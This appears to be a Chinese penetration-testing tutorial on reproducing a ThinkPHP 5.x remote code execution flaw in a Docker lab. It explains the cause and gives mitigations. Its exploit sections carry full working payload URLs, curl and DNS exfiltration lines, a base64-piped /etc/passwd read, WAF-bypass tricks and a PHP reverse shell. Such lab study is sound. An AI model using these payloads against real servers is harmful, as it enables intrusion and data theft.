1. 项目概述:一次对经典漏洞的深度复现与剖析

最近在整理一些经典的Web安全漏洞案例,ThinkPHP 5.x的命令执行漏洞(CVE-2018-1002015)是绕不开的一个。这个漏洞在当年影响范围极广,其成因和利用方式非常典型,是理解框架安全、路由解析以及代码审计的一个绝佳样本。很多安全从业者入门时的“第一课”可能就是它,网上也有大量的复现文章和靶场环境。但我在实际复现和教学过程中发现,很多资料要么过于简略,只给个payload了事;要么就是环境搭建复杂,让新手望而却步。所以,我想从一个一线渗透测试工程师的角度,重新梳理这个漏洞,不仅告诉你“怎么打”,更要讲清楚“为什么能这么打”,以及在实际渗透中如何灵活变通。

简单来说,CVE-2018-1002015是ThinkPHP 5.0.x和5.1.x版本中存在的一个远程代码执行漏洞。攻击者可以通过构造特定的HTTP请求,在未授权的情况下,在服务器上执行任意系统命令,从而完全控制服务器。这个漏洞的根源在于框架对控制器名的获取和处理逻辑存在缺陷,未能对用户输入进行有效过滤,最终导致了“命令注入”。对于安全研究人员,复现它有助于理解PHP框架的底层机制;对于开发人员,则是一次深刻的安全警示,提醒我们永远不要信任用户的输入。

2. 漏洞原理深度拆解:从路由到代码执行

要真正理解这个漏洞,我们不能只停留在“有个地方没过滤”的层面,必须深入到ThinkPHP的路由解析和控制器调度流程中去。ThinkPHP作为一款流行的国产PHP框架,其5.x版本采用了“路由-控制器-方法”的MVC架构。用户访问一个URL,框架会将其解析为对应的控制器类和方法去执行。

2.1 核心漏洞点定位

漏洞的核心触发点在于 think\App 类的 module 方法中,对控制器名的处理。在ThinkPHP 5.0.x和5.1.x的某些路由模式下(例如兼容模式或未定义路由时),框架会从请求参数中获取控制器名。关键代码逻辑大致如下:框架会检查URL中是否包含控制器(controller)和方法(action)参数,如果存在,则直接使用。问题就在于,它使用 filter 函数对控制器名进行处理时,过滤规则存在缺陷。

ThinkPHP默认的 filter 函数可能只过滤了空格等少数字符,但对于反斜杠 \ 、点号 . 等用于命名空间和类名拼接的特殊字符,过滤并不严格。攻击者可以通过这些字符,实现目录穿越,最终实例化一个非预期的、危险的类。

2.2 利用链构造逻辑

标准的利用链是这样的:攻击者构造一个请求,将控制器(controller)参数设置为类似 think\app\invokefunction 的路径。这里 think\app 是ThinkPHP内置的一个类,而 invokefunction 是这个类的一个方法。这个方法的设计初衷可能是用于内部回调,但它有一个致命特性:可以执行通过参数传递过来的任意函数。

当我们通过请求调用 think\app\invokefunction 方法时,我们可以通过请求参数向其传递要执行的函数名和参数。例如,我们可以传递 call_user_func_array 作为函数名,然后将其第一个参数设置为 system ,第二个参数设置为我们要执行的系统命令。这样,调用链就变成了: 用户请求 -> 框架误解析为控制器think\app\invokefunction -> 执行invokefunction方法 -> 该方法内部调用call_user_func_array -> call_user_func_array调用system函数 -> 执行我们传入的OS命令 。

这个过程听起来有点绕,但本质就是利用了框架“将用户输入当作类名去实例化并调用”这个信任假设,通过精心构造的输入,一步步“引导”框架代码走向一个危险的执行路径。我常把这个过程比作“骗过导航系统”:你告诉导航要去A地(一个合法的控制器),但实际上你在路口偷偷修改了路径坐标,让车子最终开进了B地(一个危险的函数执行点)。

注意 :不同的小版本(如5.0.23, 5.1.31等)的细节处理和过滤函数可能略有不同,这会导致payload需要微调。例如,有的版本对点号 . 过滤更严,就需要用URL编码 %2e 来代替;有的版本对反斜杠 \ 敏感,可能就需要用正斜杠 / (在Linux环境下ThinkPHP可能会自动转换)。这也是为什么网上payload五花八门的原因,核心原理不变,但“绕过姿势”需要根据目标环境调整。

3. 靶场环境快速搭建与配置

工欲善其事,必先利其器。一个稳定、隔离的测试环境是安全研究的基石。我不推荐初学者直接在网上找现成的在线靶场,因为环境可能不稳定,而且无法深入调试。最好的方式是在本地用Docker快速搭建一个漏洞环境。

3.1 使用Docker一键部署

目前最方便的方法是使用 vulhub 项目。Vulhub是一个开源的漏洞环境集合,提供了包括CVE-2018-1002015在内的大量漏洞的Docker Compose配置文件。

首先,确保你的机器上已经安装了Docker和Docker Compose。然后,执行以下命令:

# 1. 拉取vulhub项目代码(如果已有则跳过)
git clone https://github.com/vulhub/vulhub.git
cd vulhub

# 2. 进入ThinkPHP漏洞目录
cd thinkphp/CVE-2018-1002015

# 3. 启动漏洞环境
docker-compose up -d

执行成功后,Docker会自动拉取镜像并启动容器。通常环境会运行在 http://your-ip-address:8080 。你可以用 docker ps 命令查看容器是否正常运行。

3.2 环境验证与访问

在浏览器中访问 http://127.0.0.1:8080 。如果看到ThinkPHP的默认欢迎页面或者一个简单的应用界面,说明环境搭建成功。这个环境通常是一个故意留有漏洞的ThinkPHP 5.0.x或5.1.x版本的应用。

为了后续调试方便,我建议进入容器内部看看结构:

# 查看运行中的容器ID
docker ps | grep thinkphp
# 假设容器ID是 abc123,进入容器bash
docker exec -it abc123 /bin/bash

进入后,你可以查看 /var/www/html 目录下的ThinkPHP框架代码,特别是 application 和 thinkphp 目录,熟悉一下漏洞版本的代码结构。

3.3 关键配置检查

有时候复现失败,不一定是payload问题,可能是环境配置不对。需要重点检查两个地方:

  1. 应用调试模式 :在 application/config.php 中, app_debug 选项最好设置为 true 。这样当payload有误时,页面上会显示详细的错误信息,而不是一个简单的404或500页面,这对于调试payload至关重要。
  2. URL路由模式 :在 application/config.php 中,查看 url_route_on 和 url_model 。这个漏洞通常在路由未匹配或使用兼容模式( url_model 为2或3)时更容易触发。我们的payload构造一般会绕过定义的路由,直接利用默认的控制器解析逻辑。

实操心得 :我习惯在搭建好环境后,先访问一个不存在的路径,比如 http://127.0.0.1:8080/index.php?s=test 。如果页面报错信息中显示了ThinkPHP的版本号和跟踪信息,说明调试模式已开,并且框架的路由解析是正常的,这对后续利用是个好兆头。如果只返回空白或404,可能需要调整配置或确认容器是否完全启动。

4. 漏洞利用过程全解析与Payload构造

环境准备好了,现在我们进入最核心的部分:如何构造请求,让服务器执行我们的命令。网上流传的payload很多,我们不仅要会用,还要知道每一个参数的含义和变种。

4.1 基础Payload构造与执行

最经典、最直接的利用方式是通过 index.php 的 s 参数。ThinkPHP通过 s 参数来接收路由路径。一个能执行 whoami 命令的基础payload如下:

http://127.0.0.1:8080/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

让我们拆解这个URL:

  • index.php : 应用入口文件。
  • s=index/\think\app/invokefunction : 这是关键。 s 参数的值被框架解析为 模块/控制器/方法 。这里我们指定控制器为 \think\app ,方法为 invokefunction 。开头的 index/ 是模块名,通常可以省略或替换为其他已存在模块。
  • function=call_user_func_array : 这是传递给 invokefunction 方法的参数,告诉它我们要调用 call_user_func_array 这个PHP函数。
  • vars[0]=system : 这是 call_user_func_array 的第一个参数,即要调用的回调函数,这里我们指定为 system ,用于执行系统命令。
  • vars[1][]=whoami : 这是 call_user_func_array 的第二个参数,它是一个数组,包含传递给回调函数的参数。这里我们将要执行的命令 whoami 作为数组元素传给 system 函数。

发送这个请求后,如果漏洞存在,页面返回的内容中应该包含当前Web服务器进程的用户名,例如 www-data 或 nginx 。

4.2 Payload的多种变体与绕过技巧

实际渗透中,目标环境可能千差万别,基础payload可能因为过滤、WAF(Web应用防火墙)或版本差异而失效。这就需要我们掌握一些变体和绕过技巧。

1. 使用正斜杠 / 代替命名空间分隔符 \ 在某些版本或配置下,ThinkPHP会自动将URL中的 / 转换为 \ 。因此,payload可以写成:

/index.php?s=index/think/app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

2. 利用 think\request::input 方法进行链式调用 这是另一个非常有效的利用链,它利用了 think\Request 类的 input 方法。payload如下:

/index.php?s=index/think\Request/input&filter[]=system&data=whoami
  • think\Request/input : 调用 Request 类的 input 方法。
  • filter[]=system : input 方法支持一个 filter 参数对输入进行过滤。这里我们将过滤器设置为 system 函数,这会导致 input 方法在“过滤”数据时,实际上执行了 system 命令。
  • data=whoami : 这是要“过滤”的数据,也就是要执行的命令。

这个payload有时比 invokefunction 更稳定,因为它依赖的是框架另一个常用的方法。

3. 命令执行的无回显利用与外带数据 很多时候,命令执行成功了,但页面上没有回显(称为“盲注”)。这时候我们需要通过其他方式把命令执行的结果带出来。

  • DNS外带 : 利用 nslookup 或 ping 命令,将结果包含在DNS查询中,发送到我们可控的DNS服务器。

    /index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=nslookup `whoami`.your-dns-log-server.com
    

    你需要将 your-dns-log-server.com 替换成一个能接收DNS查询日志的服务器地址。如果命令执行成功,你的DNS服务器会收到一条对 {username}.your-dns-log-server.com 的查询请求。

  • HTTP外带 : 利用 curl 或 wget 命令,将结果通过HTTP请求发送到我们可控的Web服务器。

    /index.php?s=...&vars[1][]=curl http://your-web-server.com/ -d “$(whoami)”
    

    在你的Web服务器上查看访问日志,就能看到 whoami 命令的输出结果作为POST数据发送过来了。

  • 写入文件 : 如果服务器有写权限,可以直接将结果写入Web目录下的一个文件。

    /index.php?s=...&vars[1][]=whoami > /var/www/html/result.txt
    

    然后访问 http://target.com/result.txt 查看结果。

4. 编码与特殊字符处理 如果目标对空格、管道符 | 、分号 ; 等进行了过滤,我们需要进行编码绕过。

  • URL编码 : 在GET请求中, & 、 = 、 空格 等字符有特殊含义。我们需要对命令中的这些字符进行URL编码。例如,执行 ls -la 需要将空格编码为 %20 或 + 。
    &vars[1][]=ls%20-la
    
  • Base64编码 : 对于复杂的命令,可以先用Base64编码,然后在执行时解码。
    &vars[1][]=echo “Y2F0IC9ldGMvcGFzc3dkCg==” | base64 -d | bash
    
    这条命令先echo一个Base64字符串(内容是 cat /etc/passwd ),然后通过管道用 base64 -d 解码,最后交给 bash 执行。

注意事项 :在测试命令执行时,务必使用无害的命令开始,如 whoami 、 id 、 pwd 、 ls -la 等。避免使用 rm -rf / 、 reboot 等破坏性命令,即使在测试环境中也要养成良好习惯。另外,注意命令执行的上下文是Web服务进程(如www-data),其权限可能受限,无法访问某些目录或执行某些特权命令。

5. 漏洞修复方案与安全开发建议

复现漏洞是为了更好地防御。作为开发人员,了解漏洞如何产生,才能从根本上避免它。

5.1 官方修复方案

ThinkPHP官方在后续版本中修复了此漏洞。修复的核心思路是加强了对控制器名的合法性校验。在 think\App::parseModuleAndClass 等方法中,加入了更严格的过滤,禁止控制器名中包含 \ 、 . 等特殊字符,并且对控制器类名进行了白名单校验或严格的命名空间限制,确保只能实例化 app 目录下合法的控制器类。

对于受影响的5.0.x和5.1.x版本,官方发布了安全更新。 最直接有效的修复方案就是升级ThinkPHP框架到最新安全版本 。这是解决已知漏洞的唯一彻底的方法。

5.2 临时缓解措施

如果因为兼容性问题无法立即升级,可以采取以下临时缓解措施:

  1. 严格配置路由 :在 application 目录下的 route.php 文件中,明确定义所有合法的路由规则,并关闭默认的路由兼容模式(将 url_route_on 设置为 true , url_model 设置为1或2,并避免使用模式3)。这样,未定义的路由请求将无法被解析,从而堵住漏洞利用的入口。
  2. 应用层过滤 :在应用的公共控制器(CommonController)或行为(behavior)中,对获取到的 controller 和 action 参数进行强制过滤,只允许字母、数字和下划线的组合。
  3. 禁用危险函数 :在PHP配置文件 php.ini 中,通过 disable_functions 指令禁用一些危险的函数,如 system , exec , passthru , shell_exec , proc_open , popen 等。这相当于釜底抽薪,即使攻击者成功注入了命令执行代码,也无法调用执行系统命令的函数。
    disable_functions = system,exec,passthru,shell_exec,proc_open,popen
    
  4. 部署Web应用防火墙(WAF) :在应用前端部署WAF,可以识别并拦截含有 think\app 、 invokefunction 、 call_user_func_array 等特征字符的恶意请求。

5.3 面向开发者的安全编码规范

这个漏洞给所有开发者上了一堂深刻的安全课: 永远不要信任任何来自客户端的输入 。

  1. 输入验证与过滤 :对所有用户输入(GET, POST, COOKIE, HEADER)进行严格的验证和过滤。使用白名单机制,只接受预期范围内的字符。对于控制器、方法名这类用于程序逻辑的输入,应限制为严格的字母数字组合。
  2. 使用框架的安全方法 :现代框架都提供了安全的参数获取方法。在ThinkPHP中,应使用 Request 类的 param 方法,并指定参数类型,而不是直接使用 $_GET 或 $_POST 超全局变量。
  3. 最小权限原则 :运行Web服务的进程(如php-fpm)应该使用最低必要的权限用户(如 www-data ),并限制其文件系统访问范围和系统命令执行能力。
  4. 及时更新与安全审计 :保持框架、组件和服务器环境的及时更新。定期对自身代码进行安全审计,或使用自动化代码审计工具进行扫描。

6. 漏洞复现中的常见问题与排查实录

即使按照步骤操作,复现过程中也难免会遇到各种问题。这里我总结几个最常见的“坑”和解决方法。

6.1 问题一:页面返回404或空白页

可能原因及排查 :

  1. 环境未正确启动 :首先用 docker ps 确认容器是否在运行状态(STATUS为Up)。用 docker logs [容器ID] 查看容器日志,是否有PHP报错。
  2. 入口文件路径错误 :确认你访问的URL是否正确。有些Docker环境可能映射到子目录,例如 http://ip:port/public/index.php 。进入容器查看Web根目录的实际结构。
  3. 路由模式限制 :漏洞在严格的路由模式下可能无法触发。尝试访问 http://ip:port/index.php (不带任何参数),如果显示ThinkPHP默认页,再尝试带payload。或者,检查 application/config.php 中的 url_route_on ,尝试将其临时设置为 false 进行测试。
  4. 调试模式未开启 :如果调试模式关闭,语法错误或类不存在错误可能导致空白页。开启调试模式能看到具体错误信息。

6.2 问题二:命令执行无回显

可能原因及排查 :

  1. 命令执行成功但无输出 :你执行的命令本身可能没有标准输出。例如 mkdir test 命令成功执行后不会在页面上显示内容。换用有输出的命令测试,如 whoami , pwd , echo hello 。
  2. 输出被重定向或缓冲区问题 :尝试在命令末尾加上 2>&1 ,将标准错误也重定向到标准输出。例如: whoami 2>&1 。
  3. 盲注情况 :如前所述,使用DNS或HTTP外带技术验证命令是否执行。
  4. 安全配置 :服务器可能禁用了 system 、 shell_exec 等函数。在容器内创建一个PHP文件 <?php phpinfo(); ?> ,访问它,查找 disable_functions 配置项,看相关函数是否被禁用。

6.3 问题三:Payload被WAF或ModSecurity拦截

可能原因及排查 :

  1. 特征匹配 :Payload中包含 system 、 exec 、 base64 、 /bin/bash 等敏感关键词,被规则拦截。
  2. 绕过尝试 :
    • 字符串拼接 : $a='sys';$b='tem'; ($a.$b)('whoami'); 。在PHP中,可以通过参数传递的方式尝试构造。
    • 使用其他函数 :如果 system 被禁,尝试 passthru() 、 exec() 、 shell_exec() 、反引号 ` 、 popen() 等。
    • 编码绕过 :除了Base64,还可以尝试Hex编码、Rot13编码等。
    • 利用通配符 :在Linux下, /???/??t /???/p??swd 可以匹配到 /bin/cat /etc/passwd 。问号 ? 代表一个任意字符。

6.4 问题四:复现成功但无法获取反向Shell

可能原因及排查 :

  1. 网络连通性 :确保你的攻击机IP和端口没有被防火墙阻挡。可以在目标服务器上执行 curl http://your-ip:port 测试是否能访问到你的监听服务。
  2. 命令中的特殊字符 :用于反弹Shell的命令(如 bash -i >& /dev/tcp/... )中包含重定向符 >& ,在URL中需要正确编码。通常需要将整个命令进行Base64编码后执行。
  3. 目标环境缺少工具 :目标容器可能是一个极简环境,没有 bash 、 nc (netcat)甚至 sh 。尝试使用更通用的方法,如用PHP代码反弹Shell:
    &vars[1][]=php -r '$sock=fsockopen("your-ip",port);exec("/bin/sh -i <&3 >&3 2>&3");'
    
    记得将命令中的IP和端口替换成你的。

每次复现遇到问题,最有效的调试方法就是“看日志”和“简化测试”。开启PHP错误日志,将复杂的payload简化为最简单的 echo 123 ,逐步增加复杂度,同时观察Docker容器日志和Web服务器错误日志,这样才能快速定位问题所在。漏洞复现不仅仅是运行一个脚本,更是一个理解系统交互、学习问题排查的过程,这些经验在真实的渗透测试中无比宝贵。

Logo

北京人形旗下天工造物具身智能开源社区,聚焦具身天工与慧思开物两大平台

更多推荐